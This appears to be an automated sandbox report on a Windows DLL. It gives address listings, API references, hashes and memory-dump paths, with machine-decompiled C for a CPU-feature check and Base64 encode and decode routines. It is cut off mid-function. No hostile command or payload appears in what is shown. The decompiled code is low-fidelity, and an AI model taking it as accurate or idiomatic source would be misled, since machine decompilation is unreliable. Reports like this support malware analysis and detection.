0x10001763
0x10001763
0x10001765
0x10001768
0x1000176c
0x10001772
0x10001777
0x10001787
0x1000178a
0x10001790
0x10001792
0x10001792
0x10001794
0x1000179a
0x1000179b
0x1000179f
0x100017a0
0x100017a6
0x100017ac
0x100017b2
0x100017c0
0x100017cc
0x100017d0
0x100017d9
0x100017f1
0x100017f1
0x100017db
0x100017e1
0x100017e6
0x100017eb
0x00000000
0x100017ed
0x100017ed
0x100017ed
0x100017eb
0x100017f4
0x100017fa
0x100017fe
0x100017ff
0x10001804
0x10001818
0x1000181b
0x10001831
0x10001834
0x10001836
0x10001840
0x10001840
0x10001844
0x10001847
0x1000184a
0x1000184f
0x1000186a
0x1000186d
0x10001871
0x10001875
0x10001877
0x10001851
0x10001854
0x10001857
0x1000185c
0x1000185e
0x1000185e
0x10001860
0x10001863
0x10001863
0x1000187c
0x1000187d
0x10001882
0x10001885
0x10001887
0x10001887
0x1000188a
0x1000188f
0x00000000
0x00000000
0x1000188f
0x00000000
0x10001777
0x10001897
0x00000000
0x1000189d
0x1000189d
0x100018a2
0x100018b8
0x100018b8
0x100018be
0x100018c0
0x100018c3
0x100018c6
0x100018d4
0x100018d7
0x100018de
0x100018e2
0x100018fa
0x100018fa
0x100018e4
0x100018ea
0x100018ef
0x100018f4
0x00000000
0x100018f6
0x100018f6
0x100018f6
0x100018f4
0x10001900
0x10001905
0x1000190b
0x1000190c
0x1000190f
0x10001914
0x10001928
0x1000192b
0x10001941
0x10001941
0x10001944
0x10001947
0x10001949
0x1000194c
0x10001951
0x10001953
0x10001953
0x10001957
0x1000195a
0x1000195d
0x10001962
0x1000197d
0x10001980
0x10001984
0x1000198a
0x10001964
0x10001967
0x1000196a
0x1000196f
0x10001971
0x10001971
0x10001973
0x10001976
0x10001976
0x1000198f
0x10001990
0x10001953
0x00000000
0x100018a4
0x100018a4
0x100018a7
0x100018ad
0x100018b2
0x100018b6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x100018b6
0x100019a9
0x100019ae
0x100019af
0x100019b0
0x100019b3
0x100019b5
0x100019c0
0x100019c1
0x100019c4
0x100019c5
0x100019c6
0x100019c7
0x100019ce
0x100019d2
0x100019d8
0x100019da
0x100019dd
0x100019e0
0x100019e7
0x100019f0
0x100019f7
0x10001a03
0x10001a06
0x10001a0b
0x10001a0d
0x10001a14
0x10001a1a
0x10001b06
0x10001b06
0x10001b0c
0x10001b36
0x10001b36
0x10001b39
0x10001b40
0x10001b47
0x10001b4e
0x10001b50
0x10001b53
0x10001b54
0x10001b5c
0x10001b5e
0x10001b61
0x10001b6c
0x00000000
0x00000000
0x10001b6c
0x00000000
0x10001b5c
0x10001b0e
0x10001b0e
0x10001b11
0x10001b12
0x10001b1a
0x10001b2c
0x10001b2c
0x10001b2e
0x10001b33
0x00000000
0x10001b1c
0x10001b1c
0x10001b1c
0x10001b1f
0x10001b24
0x10001b2a
0x00000000
0x00000000
0x00000000
0x00000000
0x10001b2a
0x10001b1a
0x10001a20
0x10001a20
0x10001a22
0x10001a2b
0x10001a3f
0x10001a43
0x10001a4b
0x10001a5e
0x10001a63
0x10001a6e
0x10001a71
0x10001a74
0x10001a7c
0x10001a7f
0x10001a84
0x10001ab2
0x10001ab3
0x10001ab4
0x10001ab8
0x10001abe
0x10001ac3
0x10001a86
0x10001a8a
0x10001a90
0x10001a93
0x10001a95
0x10001a97
0x10001a97
0x10001a9a
0x10001a9e
0x10001aa6
0x10001aa9
0x10001aad
0x10001aad
0x10001ac6
0x10001aca
0x10001ad0
0x00000000
0x10001ad2
0x10001ad2
0x10001ad2
0x10001ad5
0x10001add
0x10001aef
0x10001aef
0x10001af1
0x10001af6
0x00000000
0x10001adf
0x10001adf
0x10001ae2
0x10001ae7
0x10001aed
0x10001b6e
0x10001b6e
0x10001b74
0x10001b74
0x10001b76
0x00000000
0x00000000
0x00000000
0x10001aed
0x10001add
0x00000000
0x10001af9
0x10001af9
0x10001afa
0x10001afd
0x00000000
0x10001a20
0x10001b7e
0x10001b83
0x10001b91
0x10001b91
0x100018a2
0x10001897
0x00000000

APIs

isalnum.API-MS-WIN-CRT-STRING-L1-1-0(?,98F8AC3B,?), ref: 1000176C
memchr.VCRUNTIME140(1000D018,?,00000040,98F8AC3B,?), ref: 100018EA
memchr.VCRUNTIME140(1000D018,?,00000040,?,?,?,?,?,?,?,?,?,?,?,00000000,10009399), ref: 100017E1

Part of subcall function 10007740: memcpy.VCRUNTIME140(00000000,?,?,?,00000001), ref: 100077FF

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: memchr$isalnummemcpy
String ID:
API String ID: 3172546463-0
Opcode ID: 843957c80adbdc9dfe4a4e1d9269bea993f79e235c68881bcf5dd1ec2456cce6
Instruction ID: b8bb874e8e0932509357a57cf62c60067cc7d9dfec688e585ae27506c50d82ad
Opcode Fuzzy Hash: 843957c80adbdc9dfe4a4e1d9269bea993f79e235c68881bcf5dd1ec2456cce6
Instruction Fuzzy Hash: DC91F174E042558FFB01CF68C8907EEBBF1EF1A380F154269D855A7386C735994ACBA0

Uniqueness

Uniqueness Score: -1.00%

Function 10008DA1, Relevance: 1.6, APIs: 1, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E10008DA1(signed char __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed char _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed char _v36;
				signed int _v40;
				signed int _t57;
				signed int _t60;
				signed int _t61;
				intOrPtr _t63;
				signed int _t65;
				intOrPtr _t70;
				intOrPtr* _t72;
				signed char _t73;
				intOrPtr* _t75;
				signed char _t81;
				intOrPtr* _t83;
				signed int _t86;
				signed int _t89;

				_t81 = __edx;
				 *0x1000d598 =  *0x1000d598 & 0x00000000;
				 *0x1000d00c =  *0x1000d00c | 1;
				if(IsProcessorFeaturePresent(0xa) == 0) {
					L20:
					return 0;
				}
				_v20 = _v20 & 0x00000000;
				 *0x1000d00c =  *0x1000d00c | 0x00000002;
				 *0x1000d598 = 1;
				_t83 =  &_v40;
				_push(1);
				asm("cpuid");
				_pop(_t70);
				 *_t83 = 0;
				 *((intOrPtr*)(_t83 + 4)) = 1;
				 *((intOrPtr*)(_t83 + 8)) = 0;
				 *(_t83 + 0xc) = _t81;
				_v16 = _v40;
				_v12 = _v28 ^ 0x49656e69;
				_v8 = _v36 ^ 0x756e6547;
				_push(1);
				asm("cpuid");
				_t72 =  &_v40;
				 *_t72 = 1;
				 *((intOrPtr*)(_t72 + 4)) = _t70;
				 *((intOrPtr*)(_t72 + 8)) = 0;
				 *(_t72 + 0xc) = _t81;
				if((_v8 | _v32 ^ 0x6c65746e | _v12) != 0) {
					L9:
					_t86 =  *0x1000d59c; // 0x2
					L10:
					_t57 = _v32;
					_v8 = _t57;
					if(_v16 < 7) {
						_t73 = _v20;
					} else {
						_t63 = 7;
						_push(_t72);
						asm("cpuid");
						_t75 =  &_v40;
						 *_t75 = _t63;
						_t57 = _v8;
						 *((intOrPtr*)(_t75 + 4)) = _t72;
						 *((intOrPtr*)(_t75 + 8)) = 0;
						 *(_t75 + 0xc) = _t81;
						_t73 = _v36;
						if((_t73 & 0x00000200) != 0) {
							 *0x1000d59c = _t86 | 0x00000002;
						}
					}
					if((_t57 & 0x00100000) != 0) {
						 *0x1000d00c =  *0x1000d00c | 0x00000004;
						 *0x1000d598 = 2;
						if((_t57 & 0x08000000) != 0 && (_t57 & 0x10000000) != 0) {
							asm("xgetbv");
							_v24 = _t57;
							_v20 = _t81;
							if((_v24 & 0x00000006) == 6) {
								_t60 =  *0x1000d00c; // 0x2f
								_t61 = _t60 | 0x00000008;
								 *0x1000d598 = 3;
								 *0x1000d00c = _t61;
								if((_t73 & 0x00000020) != 0) {
									 *0x1000d598 = 5;
									 *0x1000d00c = _t61 | 0x00000020;
								}
							}
						}
					}
					goto L20;
				}
				_t65 = _v40 & 0x0fff3ff0;
				if(_t65 == 0x106c0 || _t65 == 0x20660 || _t65 == 0x20670 || _t65 == 0x30650 || _t65 == 0x30660 || _t65 == 0x30670) {
					_t89 =  *0x1000d59c; // 0x2
					_t86 = _t89 | 0x00000001;
					 *0x1000d59c = _t86;
					goto L10;
				} else {
					goto L9;
				}
			}

0x10008da1
0x10008da4
0x10008db2
0x10008dc1
0x10008f33
0x10008f39
0x10008f39
0x10008dc7
0x10008dcd
0x10008dd8
0x10008dde
0x10008de1
0x10008de2
0x10008de6
0x10008de7
0x10008de9
0x10008dec
0x10008df1
0x10008dfa
0x10008e0b
0x10008e16
0x10008e1c
0x10008e1d
0x10008e22
0x10008e25
0x10008e2a
0x10008e32
0x10008e35
0x10008e38
0x10008e7d
0x10008e7d
0x10008e83
0x10008e87
0x10008e8a
0x10008e8d
0x10008ec1
0x10008e8f
0x10008e91
0x10008e94
0x10008e95
0x10008e9a
0x10008e9d
0x10008e9f
0x10008ea2
0x10008ea5
0x10008ea8
0x10008eab
0x10008eb4
0x10008eb9
0x10008eb9
0x10008eb4
0x10008ecb
0x10008ecd
0x10008ed4
0x10008ee3
0x10008eee
0x10008ef1
0x10008ef4
0x10008f03
0x10008f05
0x10008f0a
0x10008f0d
0x10008f17
0x10008f1f
0x10008f24
0x10008f2e
0x10008f2e
0x10008f1f
0x10008f03
0x10008ee3
0x00000000
0x10008ecb
0x10008e3d
0x10008e47
0x10008e6c
0x10008e72
0x10008e75
0x00000000
0x00000000
0x00000000
0x00000000

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A,?), ref: 10008DBA

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 528a57da9130c5e8b7164cc57b9b00282f56157ee9ca02355d5fa4af3b6dd810
Instruction ID: b33c922218237dd5cb995008b8404da090dd127f7fa16a0e50f171df94c2156a
Opcode Fuzzy Hash: 528a57da9130c5e8b7164cc57b9b00282f56157ee9ca02355d5fa4af3b6dd810
Instruction Fuzzy Hash: 4E4131B1E10615DBEB44CF65C8816AEBBF4FB48394F20846AD849EB259D374AA008F60

Uniqueness

Uniqueness Score: -1.00%

Function 031E36C8, Relevance: .6, Instructions: 635COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.870611323.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a35a876a667eaf8a97e8b8a7a3b5936c6ae1607a18471aaa61a012fa4739cf1c
Instruction ID: 9b952387d9a0e3c8f683a06665544ff837e842336d471f605a45461cf785b756
Opcode Fuzzy Hash: a35a876a667eaf8a97e8b8a7a3b5936c6ae1607a18471aaa61a012fa4739cf1c
Instruction Fuzzy Hash: 65526E72D44205DFEF04DFA0C9897AABBB5FF48315F0881A9DD199E19AC7781061CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 031E5523, Relevance: .6, Instructions: 556COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.870611323.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d91cd0a910fbe8cf77f98f1edb669c8fa2d749a284483a66e0b4e06a9cbda99c
Instruction ID: 126041bbef2db2788300b31b78635249191629818753e9207f72aaa7b3775a2d
Opcode Fuzzy Hash: d91cd0a910fbe8cf77f98f1edb669c8fa2d749a284483a66e0b4e06a9cbda99c
Instruction Fuzzy Hash: ED22CE6504E3C19FD3078B789C69AD27F75AF1B218B1D46CFD1C08E5A3D61A144BCB62

Uniqueness

Uniqueness Score: -1.00%

Function 031E38BC, Relevance: .5, Instructions: 526COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.870611323.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a497ae4eab5a1f9603110ad9448943d7f66c2bbd3412beec32c6f1eaf6c688a
Instruction ID: 8d6fe31351d90ce1344bd864130f85836428792c15a210b000c35f8ca060a889
Opcode Fuzzy Hash: 4a497ae4eab5a1f9603110ad9448943d7f66c2bbd3412beec32c6f1eaf6c688a
Instruction Fuzzy Hash: 41326D32D44215DFEF04DFA0C9897AA7BB5FF48315F0880A9DD599E19AC7781061CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 031E140C, Relevance: .3, Instructions: 293COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.870611323.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aee894077ae3b058d1b343a5207fdb977f4628fc77912ca012c94d89beca73db
Instruction ID: 582003061398dbfe67f191ed16d72aec5db2779db27ad6466c5b2de8a2d03123
Opcode Fuzzy Hash: aee894077ae3b058d1b343a5207fdb977f4628fc77912ca012c94d89beca73db
Instruction Fuzzy Hash: BCC1A072854204EFFF04DFA0C98ABD97BB9EF08315F0881A9DD199D09AD7345264CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 031E3D9D, Relevance: .3, Instructions: 286COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.870611323.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2641796624dd635f07a407c32305ff4bebe0291452af949be9a7a247af9c05c1
Instruction ID: 83e8092c925b9f3ac758f53a81343d9f5b5aa77661059fcf63a8c6ace0fa746c
Opcode Fuzzy Hash: 2641796624dd635f07a407c32305ff4bebe0291452af949be9a7a247af9c05c1
Instruction Fuzzy Hash: CDC15E72D44615DFEF04CFA1C8897AABBB5FF48311F0880A9DD599E199CB381061CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 031ED469, Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.870611323.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1161668a966452a4650a379abdc26120f97b72e2a752ffad1bae2cedb2034a90
Instruction ID: 49414092e2e951d2783ec66ee3362c02312ac4a6f18b1203a6545a99dd553080
Opcode Fuzzy Hash: 1161668a966452a4650a379abdc26120f97b72e2a752ffad1bae2cedb2034a90
Instruction Fuzzy Hash: 3A916A6205E3C19FE3078B748C6A7D17F71AF57228B1D86DED4C08E1A3D22A444BDB66

Uniqueness

Uniqueness Score: -1.00%

Function 10001470, Relevance: .2, Instructions: 219
COMMONCrypto

Download Yara Rule

C-Code - Quality: 56%

			E10001470(int __ecx, signed char __edx, intOrPtr _a4, signed char _a12, signed char _a16, char _a20, signed int _a36, intOrPtr _a40) {
				char _v4;
				signed char _v8;
				int _v16;
				void* _v18;
				signed char _v19;
				int _v20;
				int _v24;
				signed char _v25;
				signed char _v26;
				char _v27;
				unsigned char _v28;
				intOrPtr _v29;
				signed char _v30;
				signed char _v32;
				signed char _v33;
				signed char _v34;
				char _v35;
				char _v36;
				signed char _v40;
				signed char _v44;
				int _v48;
				char _v64;
				signed char _v72;
				char _v80;
				signed char _v84;
				signed char _v100;
				signed char _v104;
				int _v112;
				signed char _v116;
				int _v140;
				char _v148;
				signed int _v152;
				signed char _v156;
				signed char _v160;
				signed char _v192;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t219;
				intOrPtr _t222;
				char _t225;
				int _t226;
				signed char _t233;
				intOrPtr* _t236;
				intOrPtr* _t241;
				signed int _t244;
				int _t247;
				signed char _t250;
				int _t251;
				signed char _t252;
				signed char* _t253;
				int _t254;
				int _t255;
				signed char _t257;
				int _t260;
				signed char _t263;
				signed int _t267;
				intOrPtr _t275;
				signed char _t289;
				intOrPtr _t290;
				signed char _t294;
				signed char _t297;
				int _t298;
				signed char _t299;
				int _t301;
				int _t302;
				signed char _t303;
				signed char _t308;
				intOrPtr* _t321;
				signed char _t325;
				signed char _t329;
				void* _t330;
				void* _t332;
				signed char _t333;
				void* _t337;
				int _t338;
				signed char _t339;
				signed char _t341;
				void* _t343;
				char _t344;
				int _t346;
				signed char _t350;
				intOrPtr _t354;
				intOrPtr _t358;
				signed char _t362;
				int _t363;
				signed char _t371;
				char _t375;
				char _t376;
				signed char _t380;
				int _t381;
				void* _t383;
				int _t384;
				intOrPtr _t400;
				signed char _t402;
				intOrPtr _t403;
				intOrPtr _t404;
				signed char _t410;
				signed char _t413;
				signed char _t414;
				intOrPtr _t415;
				void* _t416;
				void* _t417;
				signed char _t425;
				signed char _t428;
				intOrPtr _t429;
				intOrPtr* _t431;
				signed char _t433;
				signed int _t435;
				signed char _t437;
				void* _t438;
				int _t440;
				signed char _t442;
				int _t443;
				void* _t445;
				char _t447;
				int _t448;
				int _t449;
				void* _t450;
				signed int _t451;
				signed int _t452;
				void* _t454;
				signed int _t455;
				signed int _t456;
				void* _t457;
				void* _t470;

				_t402 = __edx;
				_push(0xffffffff);
				_push(E10009399);
				_push( *[fs:0x0]);
				_t455 = _t454 - 0x20;
				_t219 =  *0x1000d004; // 0x98f8ac3b
				_push(_t219 ^ _t451);
				 *[fs:0x0] =  &_v16;
				_t431 = __ecx;
				_v32 = __ecx;
				_v40 = 0;
				 *(__ecx + 0x10) = 0;
				 *(__ecx + 0x14) = 0xf;
				_v48 = __ecx;
				 *__ecx = 0;
				_t222 = _a4;
				_t440 = 0;
				_v8 = 0;
				_v40 = 1;
				if(_t222 == 0) {
					L34:
					 *[fs:0x0] = _v16;
					return _t431;
				} else {
					do {
						_a4 = _t222 - 1;
						_t225 =  *_t402;
						_t402 = _t402 + 1;
						 *((char*)(_t451 + _t440 - 0x10)) = _t225;
						_t440 = _t440 + 1;
						_t350 = _v20;
						_t325 = _v19;
						_v32 = _t402;
						_v34 = _t325;
						_v33 = _t350;
						if(_t440 == 3) {
							_v28 = _t350 >> 2;
							_v27 = ((_t350 & 0x00000003) << 4) + (_t325 >> 4);
							_v26 = ((_t325 & 0x0000000f) << 2) + (_t325 >> 6);
							_v25 = _t325 & 0x0000003f;
							_t450 = 0;
							do {
								_t399 =  >=  ?  *0x1000d018 : 0x1000d018;
								_t429 =  *((intOrPtr*)(_t431 + 0x14));
								_t346 =  *((intOrPtr*)(( *(_t451 + _t450 - 0x18) & 0x000000ff) + ( >=  ?  *0x1000d018 : 0x1000d018)));
								_t400 =  *((intOrPtr*)(_t431 + 0x10));
								_v24 = _t346;
								if(_t400 >= _t429) {
									_push(_v24);
									_v44 = 0;
									_push(_v44);
									E10007740(_t346, _t431, _t431, _t400);
								} else {
									 *((intOrPtr*)(_t431 + 0x10)) = _t400 + 1;
									_t321 = _t431;
									if(_t429 >= 0x10) {
										_t321 =  *_t431;
									}
									 *(_t321 + _t400) = _t346;
									 *((char*)(_t321 + _t400 + 1)) = 0;
								}
								_t450 = _t450 + 1;
							} while (_t450 < 4);
							_t402 = _v32;
							_t440 = 0;
							_t350 = _v33;
							_t325 = _v34;
						}
						_t222 = _a4;
					} while (_t222 != 0);
					_v24 = _t440;
					if(_t440 == 0) {
						goto L34;
					} else {
						_t226 = _t440;
						if(_t440 >= 3) {
							L17:
							_v28 = _t350 >> 2;
							_v27 = ((_t350 & 0x00000003) << 4) + (_t325 >> 4);
							_t329 = ((_t325 & 0x0000000f) << 0x00000002 & 0x0000003f) + ((_t325 & 0x0000000f) << 2 >> 6);
							_v25 = _t329;
							_t50 = _t440 + 1; // 0x2
							_t233 = _t50;
							_v26 = _t329;
							_t330 = 0;
							_v32 = _t233;
							if(_t233 > 0) {
								_t442 = _t233;
								asm("o16 nop [eax+eax]");
								do {
									_t357 =  >=  ?  *0x1000d018 : 0x1000d018;
									_t404 =  *((intOrPtr*)(_t431 + 0x14));
									_t358 =  *((intOrPtr*)(_t431 + 0x10));
									_v20 =  *((intOrPtr*)(( *(_t451 + _t330 - 0x18) & 0x000000ff) + ( >=  ?  *0x1000d018 : 0x1000d018)));
									if(_t358 >= _t404) {
										_push(_v20);
										_v32 = 0;
										_push(_v32);
										E10007740(_t330, _t431, _t431, _t358);
									} else {
										 *((intOrPtr*)(_t431 + 0x10)) = _t358 + 1;
										_t241 = _t431;
										if(_t404 >= 0x10) {
											_t241 =  *_t431;
										}
										 *((char*)(_t241 + _t358)) = _v20;
										 *((char*)(_t241 + _t358 + 1)) = 0;
									}
									_t330 = _t330 + 1;
								} while (_t330 < _t442);
								_t440 = _v24;
							}
							if(_t440 < 3) {
								_t332 = 3 - _t440;
								asm("o16 nop [eax+eax]");
								do {
									_t354 =  *((intOrPtr*)(_t431 + 0x10));
									_t403 =  *((intOrPtr*)(_t431 + 0x14));
									if(_t354 >= _t403) {
										_push(0x3d);
										_v32 = 0;
										_push(_v32);
										E10007740(_t332, _t431, _t431, _t354);
									} else {
										 *((intOrPtr*)(_t431 + 0x10)) = _t354 + 1;
										_t236 = _t431;
										if(_t403 >= 0x10) {
											_t236 =  *_t431;
										}
										 *((short*)(_t236 + _t354)) = 0x3d;
									}
									_t332 = _t332 - 1;
								} while (_t332 != 0);
							}
							goto L34;
						} else {
							_t470 = _t226 - 3;
							while(_t470 < 0) {
								 *((char*)(_t451 + _t226 - 0x10)) = 0;
								_t226 = _t226 + 1;
								if(_t226 < 3) {
									continue;
								} else {
									_t325 = _v19;
									_t350 = _v20;
									goto L17;
								}
								goto L104;
							}
							E10008756();
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t451);
							_t452 = _t455;
							_push(0xffffffff);
							_push(E100093D9);
							_push( *[fs:0x0]);
							_t456 = _t455 - 0x24;
							_push(_t325);
							_push(_t440);
							_push(_t431);
							_t244 =  *0x1000d004; // 0x98f8ac3b
							_push(_t244 ^ _t452);
							 *[fs:0x0] =  &_v80;
							_v100 = _t402;
							_t433 = _t350;
							_v84 = _t433;
							_v112 = 0;
							_t333 = 0;
							_t247 =  *(_t402 + 0x10);
							_t443 = 0;
							 *(_t433 + 0x10) = 0;
							 *(_t433 + 0x14) = 0xf;
							_v116 = _t433;
							_v104 = 0;
							 *_t433 = 0;
							_v72 = 0;
							_v112 = 1;
							__eflags = _t247;
							if(_t247 == 0) {
								L81:
								 *[fs:0x0] = _v20;
								return _t433;
							} else {
								while(1) {
									_t362 =  *(_t402 + 0x14);
									_v24 = _t247 - 1;
									_t250 = _t402;
									__eflags = _t362 - 0x10;
									if(_t362 >= 0x10) {
										_t250 =  *_t402;
									}
									__eflags =  *((char*)(_t250 + _t333)) - 0x3d;
									if( *((char*)(_t250 + _t333)) == 0x3d) {
										break;
									}
									_t297 = _t402;
									__eflags = _t362 - 0x10;
									if(_t362 >= 0x10) {
										_t297 =  *_t402;
									}
									_t333 =  *((intOrPtr*)(_t297 + _t333));
									_t298 = _t333 & 0x000000ff;
									__imp__isalnum(_t298);
									_t456 = _t456 + 4;
									__eflags = _t298;
									if(_t298 != 0) {
										L45:
										_t402 = _v40;
										_t299 = _t402;
										__eflags =  *(_t402 + 0x14) - 0x10;
										if( *(_t402 + 0x14) >= 0x10) {
											_t299 =  *_t402;
										}
										_t341 = _v44;
										_t333 = _t341 + 1;
										 *((char*)(_t452 + _t443 - 0x18)) =  *((intOrPtr*)(_t299 + _t341));
										_t443 = _t443 + 1;
										_v44 = _t333;
										__eflags = _t443 - 4;
										if(_t443 == 4) {
											_t384 =  *0x1000d028; // 0x40
											_t448 = 0;
											__eflags = 0;
											do {
												__eflags =  *0x1000d02c - 0x10;
												_t301 =  *(_t452 + _t448 - 0x18);
												_t343 =  >=  ?  *0x1000d018 : 0x1000d018;
												__eflags = _t384;
												if(_t384 == 0) {
													L52:
													_t302 = _t301 | 0xffffffff;
													__eflags = _t302;
												} else {
													_t301 = memchr(0x1000d018, _t301, _t384);
													_t456 = _t456 + 0xc;
													__eflags = _t301;
													if(_t301 == 0) {
														goto L52;
													} else {
														_t302 = _t301 - 0x1000d018;
													}
												}
												_t384 =  *0x1000d028; // 0x40
												 *(_t452 + _t448 - 0x18) = _t302;
												_t448 = _t448 + 1;
												__eflags = _t448 - 4;
											} while (_t448 < 4);
											_t303 = _v32;
											_v36 = (_t303 >> 0x00000004 & 0x00000003) + (_t303 << 2);
											_t425 = _v30;
											_v35 = (_t425 >> 0x00000002 & 0x0000000f) + (_t303 << 4);
											_t449 = 0;
											__eflags = 0;
											_v34 = (_t425 << 6) + _v29;
											do {
												_t344 =  *((intOrPtr*)(_t452 + _t449 - 0x1c));
												_t362 =  *(_t433 + 0x10);
												_t428 =  *(_t433 + 0x14);
												_v28 = _t344;
												__eflags = _t362 - _t428;
												if(_t362 >= _t428) {
													_push(_v28);
													_v48 = 0;
													_push(_v48);
													_t362 = _t433;
													E10007740(_t344, _t362, _t433, _t362);
												} else {
													 *(_t433 + 0x10) = _t362 + 1;
													_t308 = _t433;
													__eflags = _t428 - 0x10;
													if(_t428 >= 0x10) {
														_t308 =  *_t433;
													}
													 *((char*)(_t308 + _t362)) = _t344;
													 *((char*)(_t308 + _t362 + 1)) = 0;
												}
												_t449 = _t449 + 1;
												__eflags = _t449 - 3;
											} while (_t449 < 3);
											_t402 = _v40;
											_t443 = 0;
											__eflags = 0;
											_t333 = _v44;
										}
										_t247 = _v24;
										__eflags = _t247;
										if(_t247 != 0) {
											continue;
										}
									} else {
										__eflags = _t333 - 0x2b;
										if(_t333 == 0x2b) {
											goto L45;
										} else {
											__eflags = _t333 - 0x2f;
											if(_t333 == 0x2f) {
												goto L45;
											}
										}
									}
									break;
								}
								__eflags = _t443;
								if(_t443 == 0) {
									goto L81;
								} else {
									_t251 = _t443;
									__eflags = _t443 - 4;
									if(_t443 >= 4) {
										L68:
										_t363 =  *0x1000d028; // 0x40
										_t252 = 0;
										__eflags = 0;
										_v40 = 0;
										do {
											_t253 =  &(( &_v32)[_t252]);
											__eflags =  *0x1000d02c - 0x10;
											_v24 = _t253;
											_t337 =  >=  ?  *0x1000d018 : 0x1000d018;
											_t254 =  *_t253;
											__eflags = _t363;
											if(_t363 == 0) {
												L72:
												_t255 = _t254 | 0xffffffff;
												__eflags = _t255;
											} else {
												_t254 = memchr(0x1000d018, _t254, _t363);
												_t456 = _t456 + 0xc;
												__eflags = _t254;
												if(_t254 == 0) {
													goto L72;
												} else {
													_t255 = _t254 - 0x1000d018;
												}
											}
											 *_v24 = _t255;
											_t363 =  *0x1000d028; // 0x40
											_t252 = _v40 + 1;
											_v40 = _t252;
											__eflags = _t252 - 4;
										} while (_t252 < 4);
										_t257 = _v32;
										_v36 = (_t257 >> 0x00000004 & 0x00000003) + (_t257 << 2);
										_t410 = _v30;
										_t137 = _t443 - 1; // -1
										_t260 = _t137;
										_v35 = (_t410 >> 0x00000002 & 0x0000000f) + (_t257 << 4);
										_t445 = 0;
										_v34 = (_t410 << 6) + _v29;
										_v28 = _t260;
										__eflags = _t260;
										if(_t260 > 0) {
											do {
												_t338 =  *((intOrPtr*)(_t452 + _t445 - 0x1c));
												_t371 =  *(_t433 + 0x10);
												_t413 =  *(_t433 + 0x14);
												_v24 = _t338;
												__eflags = _t371 - _t413;
												if(_t371 >= _t413) {
													_push(_v24);
													_v48 = 0;
													_push(_v48);
													E10007740(_t338, _t433, _t433, _t371);
												} else {
													 *(_t433 + 0x10) = _t371 + 1;
													_t263 = _t433;
													__eflags = _t413 - 0x10;
													if(_t413 >= 0x10) {
														_t263 =  *_t433;
													}
													 *(_t263 + _t371) = _t338;
													 *((char*)(_t263 + _t371 + 1)) = 0;
												}
												_t445 = _t445 + 1;
												__eflags = _t445 - _v28;
											} while (_t445 < _v28);
										}
										goto L81;
									} else {
										__eflags = _t251 - 4;
										while(__eflags < 0) {
											 *((char*)(_t452 + _t251 - 0x18)) = 0;
											_t251 = _t251 + 1;
											__eflags = _t251 - 4;
											if(__eflags < 0) {
												continue;
											} else {
												goto L68;
											}
											goto L104;
										}
										E10008756();
										asm("int3");
										asm("int3");
										_push(_t452);
										_push(0xffffffff);
										_push(E10009431);
										_push( *[fs:0x0]);
										_t457 = _t456 - 0x2c;
										_push(_t333);
										_push(_t443);
										_push(_t433);
										_t267 =  *0x1000d004; // 0x98f8ac3b
										_push(_t267 ^ _t456);
										 *[fs:0x0] =  &_v148;
										_t339 = _t362;
										_v156 = _t339;
										_v192 = _t339;
										_v160 = 0;
										_v140 = 2;
										 *(_t339 + 0x10) = 0;
										 *(_t339 + 0x14) = 0xf;
										 *_t339 = 0;
										E10006CC0(_t339, _t362, _t402, 0x1000a2e5, 0);
										_t435 = 0;
										_v160 = 1;
										_v152 = 0;
										__eflags = _v112;
										if(_v112 <= 0) {
											L94:
											_t414 = _a16;
											__eflags = _t414 - 0x10;
											if(_t414 < 0x10) {
												L98:
												_t415 = _a40;
												_a12 = 0;
												_a16 = 0xf;
												_v4 = 0;
												__eflags = _t415 - 0x10;
												if(_t415 >= 0x10) {
													_t375 = _a20;
													_t416 = _t415 + 1;
													_t272 = _t375;
													__eflags = _t416 - 0x1000;
													if(_t416 >= 0x1000) {
														_t375 =  *((intOrPtr*)(_t375 - 4));
														_t416 = _t416 + 0x23;
														_t272 = _t272 - _t375 + 0xfffffffc;
														__eflags = _t272 - 0x1f;
														if(_t272 > 0x1f) {
															goto L101;
														}
													}
													goto L102;
												}
											} else {
												_t376 = _v4;
